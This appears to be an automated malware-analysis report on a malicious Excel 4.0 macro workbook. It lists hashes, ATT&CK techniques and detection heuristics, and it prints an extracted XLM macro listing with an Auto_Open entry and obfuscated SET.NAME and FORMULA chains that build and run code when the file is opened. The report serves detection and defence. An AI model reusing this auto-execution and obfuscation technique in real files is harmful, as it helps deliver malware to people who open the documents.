Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 16171477c9ca28eb…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:47:14 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 67fbc8b9abf7a678754b72fed01adb3e SHA-1: 709aebfb8420f408f9f13f538840ad98150af860 SHA-256: 16171477c9ca28eb3ceccd9891b6dfb08badf6dee08d0a594ae2b2c4946bed0f
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook. Heuristics indicate the presence of an Auto_Open macro, which is a common technique for executing malicious code upon opening the document. The macro likely attempts to download and execute a secondary payload, although the specific commands are obfuscated.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6428 bytes
SHA-256: d82cb9c7889b9a047a7e0f74d6dff8901b9202e22f2d7f247c62b6d84b60463b
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  JNHQ
' 0018     24 LABEL : Cell Value, String Constant - AgvsKKjTx len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B156 
' 0018     21 LABEL : Cell Value, String Constant - CWXCAB len=0 
' 0018     22 LABEL : Cell Value, String Constant - EkcwjKR len=0 
' 0018     26 LABEL : Cell Value, String Constant - emTsVQgHngm len=0 
' 0018     27 LABEL : Cell Value, String Constant - eYUIKiCtDgeN len=0 
' 0018     20 LABEL : Cell Value, String Constant - HsILD len=0 
' 0018     26 LABEL : Cell Value, String Constant - IuylFXmbJEP len=0 
' 0018     26 LABEL : Cell Value, String Constant - JaxjQNGBIrP len=0 
' 0018     20 LABEL : Cell Value, String Constant - KDVuK len=0 
' 0018     25 LABEL : Cell Value, String Constant - lAOeuskcgX len=0 
' 0018     25 LABEL : Cell Value, String Constant - MNLxmjABMF len=0 
' 0018     25 LABEL : Cell Value, String Constant - mRKPTzurLO len=0 
' 0018     23 LABEL : Cell Value, String Constant - QnSWgguk len=0 
' 0018     27 LABEL : Cell Value, String Constant - REsaxICFwdKl len=0 
' 0018     27 LABEL : Cell Value, String Constant - RHWdiqnKuOzq len=0 
' 0018     26 LABEL : Cell Value, String Constant - rpqcmpUlXoW len=0 
' 0018     22 LABEL : Cell Value, String Constant - VnGYDgu len=0 
' 0018     24 LABEL : Cell Value, String Constant - wnUugnKIa len=0 
' 0018     21 LABEL : Cell Value, String Constant - YUIvYO len=0 
' 0018     23 LABEL : Cell Value, String Constant - yWPLSOcR len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  JNHQ,B74,"SET.NAME("emTsVQgHngm",VALUE("0"))",""
'  JNHQ,B79,"SET.NAME("mRKPTzurLO",emTsVQgHngm)",""
'  JNHQ,B81,"SET.NAME("RHWdiqnKuOzq",emTsVQgHngm)",""
'  JNHQ,B85,"SET.NAME("YUIvYO",COUNTA(KDVuK))",""
'  JNHQ,B87,"SET.NAME("eYUIKiCtDgeN",COUNTA(JaxjQNGBIrP))",""
'  JNHQ,B89,[],""
'  JNHQ,B92,"SET.NAME("VnGYDgu","")",""
'  JNHQ,B94,"mRKPTzurLO",""
'  JNHQ,B98,"SET.NAME("IuylFXmbJEP",HLOOKUP("*",KDVuK,mRKPTzurLO,FALSE))",""
'  JNHQ,B101,"MNLxmjABMF",""
'  JNHQ,B103,"SET.NAME("AgvsKKjTx",emTsVQgHngm)",""
'  JNHQ,B105,[],""
'  JNHQ,B109,"AgvsKKjTx",""
'  JNHQ,B111,"yWPLSOcR",""
'  JNHQ,B116,"lAOeuskcgX",""
'  JNHQ,B119,"QnSWgguk",""
'  JNHQ,B124,"SET.NAME("REsaxICFwdKl",VALUE(HLOOKUP("*",JaxjQNGBIrP,QnSWgguk,FALSE)))",""
'  JNHQ,B126,"wnUugnKIa",""
'  JNHQ,B130,"VnGYDgu",""
'  JNHQ,B132,"RHWdiqnKuOzq",""
'  JNHQ,B136,NEXT(),""
'  JNHQ,B138,"HsILD",""
'  JNHQ,B141,"SET.NAME("f",INT(T(FORMULA(T(VnGYDgu)&"",""&T(HsILD)))))",""
'  JNHQ,B144,"EkcwjKR",""
'  JNHQ,B149,NEXT(),""
'  JNHQ,B151,RETURN(),""
'  JNHQ,B180,"SET.NAME("CWXCAB",B74)",""
'  JNHQ,B182,"KDVuK",""
'  JNHQ,B186,"SET.NAME("JaxjQNGBIrP",R44C15)",""
'  JNHQ,B189,"SET.NAME("EkcwjKR",196)",""
'  JNHQ,B193,"SET.NAME("rpqcmpUlXoW",2)",""
'  JNHQ,B195,CWXCAB(),""
'  JNHQ,B196,HALT(),""

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